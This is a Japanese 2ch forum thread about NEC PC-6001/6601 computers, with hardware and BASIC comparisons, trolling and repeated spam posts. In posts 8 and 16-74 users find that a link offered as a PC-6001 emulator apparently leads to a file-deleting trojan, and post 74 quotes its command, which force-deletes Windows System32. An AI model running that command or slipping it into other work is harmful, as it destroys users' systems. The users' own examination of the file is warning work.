PC-6001/mkII/6601/SR★おれたちP6系 Part16

1 ：11/08/28 〜 最終レス ：11/12/24

PC-6000/6600シリーズの思い出をﾏﾀｰﾘ語りましょう
【過去ログ】
29ch
ttp://makimo.to:8000/cgi-bin/search/search.cgi?q=P6%8Cn&sf=2&all=on&view=table
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ttp://mirror.takatyan.info/title_search/title_search.cgi?query=P6%E7%B3%BB&E_pragma=0&query_host=&query_board=&res_min=&res_max=&key_min=&key_max=&sort=key_up&hana=mogera

2 ：

２ゲットー

3 ：

なんでPC-8001mkIIの9pin端子は
ATARI仕様のジョイスティック端子じゃねーんだよー！

4 ：

このスレは重複スレです、
こっちのスレを先に消化して下さい。
PC-6001/mkII/6601/SR★おれたちP6系 Part14
http://toki.2ch.net/test/read.cgi/i4004/1033800632/

5 ：

>>1乙

6 ：

ホンスレage

7 ：

なるほどねぇ〜、ここがホンスレか（ゲラゲラ！！

8 ：

前スレから転載
980 名前：ナイコンさん[] 投稿日：2011/09/01(木) 19:36:10.01 [夜]
ｺﾚｯﾃﾎﾝﾄｶﾖ
ｳｺﾞｶﾈｰｯﾃ
ttp://www1.axfc.net/uploader/Sc/so/270394
983 名前：ナイコンさん[sage] 投稿日：2011/09/01(木) 21:07:08.93 [夜]
？
もうない、いつも取りこぼしばかり
984 名前：ナイコンさん[sage] 投稿日：2011/09/01(木) 21:41:17.33 [夜]
ほれ、中身確認してないが
投稿者ファイル説明
PC6001VX Ver.0.1a。
PC-6001 エミュレータの PC6001VW3 を元にした、音声合成機能をいじった物。
一部音声が出なかったゲームの音声が出る様になった。
ttp://www1.axfc.net/uploader/Sc/so/270683
P：6001

9 ：

あー、パピコンは喋るんだったよなｗ
それ以外は何のとりえもない鉄屑だったらしいけど（笑）

10 ：

パピコンがTMS9918採用してたら成功してたと思う？

11 ：

…たぶん成功してたと思うけど、9918に精通した技術者やプログラマが日本にいなかった
　 んじゃないかな。
テキサスの画像チップは少ないメモリで多彩な表示ができるように複雑な構造だったから
当時はかなり難しかったんじゃないかな。
メモリインターフェイスを考えても9918はI/Oポートで分離されてるから回路設計自体はか
なり楽になる。
6847の場合はメモリとCPUを停止するから回路図引いてる間に 「 こんなウスノロチップ使
えるかよ 」ってなワーケｗ
もともと9918はTMS9995の周辺ファミリーの位置付けなんだからもうちょっとマシなCPUを
使ってもよかったかもな。

12 ：

じゃあ、MSX買えばよかったと言うコト？

13 ：

…日本だとPC-8001か、その後継機の8001mkII程度でじゅうぶんだったと言うコトだろうな。
手軽なセミグラフィックと、最低限のスクリーンエディットのできる80×25のテキスト画面が
あれば、それ以上は意味がなかった。
Z80にはドットグラフィックもスプライトも余裕で処理できるだけのスピードがなかった。
だからPC-8001のプログラマとMSXのプログラマはテンションが違う。
動きの荒いセミグラフィックでも、アーケードTVゲームと同じスピード感を実現するほうが重
要だったと言うコトになる。
パピコンは始めから蚊帳の外だ。

14 ：

コンソールさんさＭＳＸ信者の代表者ですね！

15 ：

　637 ：32 ◆Of3vBXnYO6 ：2011/07/14(木) 21:18:31.92
　　今月末から来月最初にかけて久々に時間作れそうだから
　　コンパイラ用のアクションゲームでも作ろうかと構想中。
　　すぐ飽きるようなものは作りたくないね。
まだ完成しないのか？ｗ

16 ：

>>8
それを起動すると、Windowsが壊れる。

17 ：

詳細をｋｗｓｋ

18 ：

>>13
スプライトを否定するの？

19 ：

>>18
…別にスプライトを否定しようなんて思わないけど、MSXはバランスが取れていない。
MSXの16×16ドットのスプライトはPC-8001の8×8ドットのセミグラフィックになる（80桁の場合）。
この場合PC-8001で必要なのは座標計算と転送。
転送部分はLDIを並べると速いとか…当時の記録ではそういう風に書かれている。
固有の色を付けようと思えばアトリビュートエリアの操作も必要になる（笑）
パピコンにもセミグラフィックはあったな。
使える代物ではなかったような…。

20 ：

>>19
>パピコンにもセミグラフィックはあったな。
>
>使える代物ではなかったような…。
MSXにもあったゾ

21 ：

>>20
＞MSXにもあったゾ
ここパピコンスレだから（笑）

22 ：

池沼だから透明にしておけよ

23 ：

パピコンはセミグラフィックでも波打つからな（爆笑）

24 ：

>>23
ページ切り換えすればいいじゃん！

25 ：

>>24
…セミグラフィックでページ切り換えするのか？（ヲッ
さすが直列現象のNECだな（ヲッヲッ♪”

26 ：

>>15
>すぐ飽きるようなものは作りたくないね。
初回からツマラン物しか出来なかったんでしょうね
いまだにベーマガ投稿レベルが目標の人ですから

27 ：

パピコンは始めから飽きられてるだろｗ

28 ：

…PC-8001からPC-6001でグレードダウンしたところは、
１．マトリックススキャン（全キー押し判別）→インテリジェント（現行のAT機と同等）
２．CPUの停止時間が長い（CRTC操作中のみ停止→VSYNC期間中停止）
３．画面が汚い（RGB8色→ビデオ信号準拠の合成色）
４．マシン語モニタがない
５．ホットスタートがない（STOP+RESETキーで復帰→なし（笑））
６．グラフィック記号がなくなって平仮名が追加された（ゴミいらねｗ）
パピコンの最大の欠点はCPUが遅いと思われがちであるが、実際はマトリックススキャンが
できないところにある。
これは現行のAT機まで残っている。

29 ：

>>28
マトリックススキャンはMSXと88/98でもできたね。

30 ：

>>29
88はパピコンと同列のウスノロ機種だったよな（爆笑）

31 ：

>>28
AT機はアーケードスティックが使えるじゃんｗ

32 ：

>>31
…そんなのダメだよｗ
やっぱスペースキー連打しなきゃゲームの醍醐味は味わえないぞ（笑）
＃ これって、他人のPCでスペースキー連打すると快感なんだよな〜（♪）

33 ：

>>32
それ考えると98は恵まれてたよね。
本体に優しいセパレートキーボードｗ

34 ：

６００１はプログラミングしやすかった。

35 ：

…N-BASICからN60-BASICでグレードダウンしたところは、
１．型宣言がなくなった（倍精度のみ）
２．1行の制限が255文字から80文字に減った
３．起動画面で質問に毎度答えなければならなくなった（ゴミｗ）
４．圧倒的に文字が汚い（VDG内蔵フォントはさらに汚いｗ）
５．画面モードがムダに多い
N60-BASICの最大の欠点は処理速度が遅いと思われがちであるが、文字が汚いのでプロ
グラミングがやりにくかったところにある。
現行のAT機でもそうであるが、汚いフォントはやはり嫌われる傾向にある。

36 ：

>パピコンの最大の欠点はCPUが遅いと思われがちであるが、実際はマトリックススキャンが
>できないところにある。
特に欠点ではないな。CPU負荷が低いというメリットもあるし。

37 ：

>>28
>２．CPUの停止時間が長い（CRTC操作中のみ停止→VSYNC期間中停止）
お前VSYNCの意味分かってないな。
>６．グラフィック記号がなくなって平仮名が追加された（ゴミいらねｗ）
ハートマークとかあったぞ。

38 ：

マトリックススキャンはCPU負荷ほぼゼロだぞｗ

39 ：

＞お前VSYNCの意味分かってないな。
おっと、そうだったなｗ
VSYNC期間中以外だよな…つーコトは、8割近くCPUが止まってるってコトになんな（大爆笑）

40 ：

>>38
PC-8801のN88-BASICはタイマー割り込みでキーマトリックス読んでるけど、結構負荷あるよ。

41 ：

>>38
>マトリックススキャンはCPU負荷ほぼゼロだぞｗ
サブCPUにやらせりゃ完全にゼロだよ。

42 ：

>>38
MSXはハードウェアでマトリックスをセットして読み出すだけだったよね。

43 ：

>>39
>VSYNC期間中以外だよな…つーコトは、8割近くCPUが止まってるってコトになんな（大爆笑）
お前水平帰線期間も知らんのな。

44 ：

機械語プログラミングできない奴には、パピコンの良さが理解できない。

45 ：

>>42
MSXのキースキャンは機構が簡単だから分かりやすいと言う利点があるな。
>>44
で、プロテクトモードは理解できたかな？（大爆笑）

46 ：

>>45
80/88/98も同じだよね。

47 ：

>>45
>で、プロテクトモードは理解できたかな？（大爆笑）
ここパピコンスレだから（笑）

48 ：

>>47
なんだできないのかよゴミ人間ｗｗｗｗ”

49 ：

パピゴミｗ

50 ：

>>42
MSXは仕様的にマトリックス方式でないキーボードもありえるのでBIOSでの動作保障が出来ない。

51 ：

z80もz800の夢があったが、その前に倒産してしまった。

52 ：

>>50
ここパピコンスレだよ（大爆笑）

53 ：

>>51
Z280という型番で商品化されたが。

54 ：

>>51
http://ja.wikipedia.org/wiki/Z280

55 ：

自演にレスすると本体が反応する不思議

56 ：

>>53
はい、ムダ♪（アハ♪”

57 ：

>>55
かわいがりされてる感じはどうよ？

58 ：

アハアハ〜♪”

59 ：

ほらもっとお勉強しなくっちゃ♪（ギャハハ！！ｗｗｗｗ”

60 ：

z280はこれだね、パピコンをパワー全開で走らせてみたかったよ
http://www.dotup.org/uploda/www.dotup.org1975550.jpg.html

61 ：

連鎖あぼーんしてるからスレ番がえらく飛んでる

62 ：

じぇーんにも連鎖あぼーんってある？

63 ：

ごめん、あった
こりゃいいわい

64 ：

ヤツはらっきょと違って何処にでも現れるからたちが悪い

65 ：

…PC-8001からPC-6001でグレードダウンしたところは、
１．マトリックススキャン（全キー押し判別）→インテリジェント（現行のAT機と同等）
２．CPUの停止時間が長い（CRTC操作中のみ停止→VSYNC期間中以外（笑）停止）
３．画面が汚い（RGB8色→ビデオ信号準拠の合成色）
４．マシン語モニタがない
５．ホットスタートがない（STOP+RESETキーで復帰→なし（笑））
６．グラフィック記号がなくなって平仮名が追加された（ゴミいらねｗ）
パピコンの最大の欠点はCPUが遅いと思われがちであるが、実際はマトリックススキャンが
できないところにある。
これは現行のAT機まで残っている。

66 ：

…N-BASICからN60-BASICでグレードダウンしたところは、
１．型宣言がなくなった（倍精度のみ）
２．1行の制限が255文字から80文字に減った
３．起動画面で質問に毎度答えなければならなくなった（ゴミｗ）
４．圧倒的に文字が汚い（VDG内蔵フォントはさらに汚いｗ）
５．画面モードがムダに多い
N60-BASICの最大の欠点は処理速度が遅いと思われがちであるが、文字が汚いのでプロ
グラミングがやりにくかったところにある。
現行のAT機でもそうであるが、汚いフォントはやはり嫌われる傾向にある。

67 ：

>8のプログラムをVM上のXPで動作させた。
VC2008で作ってあるらしく、VC2008ランタイムが入って無いと動作しない。
実行するとコマンドプロンプトが起動して、HD内のファイルを削除する動作を始める幼稚なプログラム。
だが、「意図に反する動作をさせるべき不正な指令を与える電磁的記録」であることは間違いなく、
今年７月から施行されたウィルス作成罪に該当し、3年以下の懲役または50万円以下の罰金。
通報しました。

68 ：

自分でアップして誰にも相手にされなかったんだろうな（大爆笑）

69 ：

>>67
騙されて実行してしまった・・・
VC2008のランタイムじゃないけどVC++2005のランタイムを入れてるしorz
コマンドプロンプトが出て延々とファイルがないようなエラーメッセージが出たんだけど
大丈夫だよね？
どのようなエラーメッセージだったか忘れた

70 ：

>>68
話題を逸らして逃げる手法だよｗ

71 ：

>>70
あ、いつものパターンじゃないか（大爆笑）

72 ：

サブPCで実行してみた（環境は同じ）
メッセージは「アクセスが拒否されました」だったからファイルは削除されてないに違いない
システムフォルダにアクセスしてるっぽい

73 ：

>>71
ほらね、言ったとおりだろｗ

74 ：

>72
EXEファイルをダンプして見る限りでは、実行してるコマンドは
del /Q /F /S C:\Windows\System32\* >NUL
っぽいな。システムの復元を無効にしてなければ復旧するんじゃね？
で、EXEファイル内に記録されてるVisualStudioプロジェクトファイル格納パスに
Windowsのログオンユーザー名が含まれている。
そのユーザー名でググるとレトロPC系アイテムをヤフオクで落札してるIDが引っ掛かる。
本人だったら大マヌケだが、そいつを陥れるためにログオンユーザー名を偽装してたとしたら
冗談抜きで屑野郎だな。
まあ逮捕されれば住所と本名と年齢が晒されるわけだからどうでもいい事だがｗ

75 ：

やっぱやばいファイルなのかんじゃ消すぞ

76 ：

>>73
そのうち宣伝に変わって発狂しだすだろうな（笑）

77 ：

ついにパピコンスレから逮捕者出すことになったか。

78 ：

>>76
大げさに煽って関心を引く方法だねｗ

79 ：

システムフォルダを管理者権限で固められていない昔のWindowsだったら
確実にシステムファイル全部削除されてるわこれ

80 ：

>>78
事大主義って言うだよな（大爆笑）

81 ：

うひゃひゃ♪”

82 ：

>>74
kwsk

83 ：

>>82
ｼﾞｴﾝｼﾞｴﾝｶｺﾜﾙｲ

84 ：

レス番引っ張る必死さに激しくワロタｗｗｗｗ”

85 ：

…PC-8001からPC-6001でグレードダウンしたところは、
１．マトリックススキャン（全キー押し判別）→インテリジェント（現行のAT機と同等）
２．CPUの停止時間が長い（CRTC操作中のみ停止→VSYNC期間中以外（笑）停止）
３．画面が汚い（RGB8色→ビデオ信号準拠の合成色）
４．マシン語モニタがない
５．ホットスタートがない（STOP+RESETキーで復帰→なし（笑））
６．グラフィック記号がなくなって平仮名が追加された（ゴミいらねｗ）
パピコンの最大の欠点はCPUが遅いと思われがちであるが、実際はマトリックススキャンが
できないところにある。
これは現行のAT機まで残っている。

86 ：

…N-BASICからN60-BASICでグレードダウンしたところは、
１．型宣言がなくなった（倍精度のみ）
２．1行の制限が255文字から80文字に減った
３．起動画面で質問に毎度答えなければならなくなった（ゴミｗ）
４．圧倒的に文字が汚い（VDG内蔵フォントはさらに汚いｗ）
５．画面モードがムダに多い
N60-BASICの最大の欠点は処理速度が遅いと思われがちであるが、文字が汚いのでプロ
グラミングがやりにくかったところにある。
現行のAT機でもそうであるが、汚いフォントはやはり嫌われる傾向にある。

87 ：

>>74
晒して見せてほしいな、それ(ΦωΦ)

88 ：

ﾌﾟｯ、発狂してやんのｗ

89 ：

話題を逸らそうと必死でワロタｗ”

90 ：

>>86
>１．型宣言がなくなった（倍精度のみ）
あれ? 倍精度だっけ?
よく覚えてないけどN60の浮動小数点演算にそんなに精度なかったと思うけど。

91 ：

ごめんなさい
私は今、とても軽率に、とても馬鹿な事をした事を後悔しています
許してください、許せないでしょうから、いつか許せる時がきたら許してください
私は>>74氏が言う様に、冗談抜きで屑野郎です
本気で自分はクズ野郎だと思っています
そして反省しています
ごめんなさい
私は大人にあるまじき大馬鹿野郎のクズ野郎です
反省して、考えて、真の大人になります
私は大人になるまでネットはひかえます
ごめんなさい
今言えるのはそれだけです
ごめんなさい

92 ：

なんかお兄ちゃんが皆さんに大変ご迷惑をおかけしたみたいで
わたしからも謝らせてください
本人はとても反省しているみたい、そしてとてもしょげています
悪い事をしたんだから当然ですよね
それで誠意を見せるって言うわけじゃ無いけど
私脱ぎます
コレで許してやってください
ttp://i.imgur.com/TPfoo.jpg

93 ：

>>89
ほら、絵に描いたように、ね？

94 ：

>>86
>４．圧倒的に文字が汚い（VDG内蔵フォントはさらに汚いｗ）
家庭用テレビに繋ぐ前提で読み易いフォントだったと思うけど。
低年齢層の使用も考慮して、ひらがなが使えるのも当時としては結構画期的だったと思うし。
つーかフォントってBASICの仕様の内に入るの?
>５．画面モードがムダに多い
N-BASICの方がはるかに多いよね。
横の桁数36|40|72|80文字 × 縦の行数20|25行 × モノクロ|カラー × テキスト|グラフィック
だから32種類?
カラーモードだと80文字が79文字になって、BASICプログラムを編集すると文字が欠けるとか
いう謎の機能もあったような気がするなあ、よく覚えてないけど。

95 ：

>>93
牛歩台風みたいでムダが多くてワロタｗ”

96 ：

>>95
そっち見ちゃダメだよｗ
頭のアレな人が

97 ：

>>96
事実を指摘されると真っ赤になって荒れ狂うからな（大爆笑）

98 ：

>>97
NECの底辺機種スレでそんなコト言っちゃだめｗ

99 ：

>>98
…いやぁ〜、オレ様はP6シリーズは底辺とは思わないぞｗ
66SRまで続けてるんだから（大爆笑）

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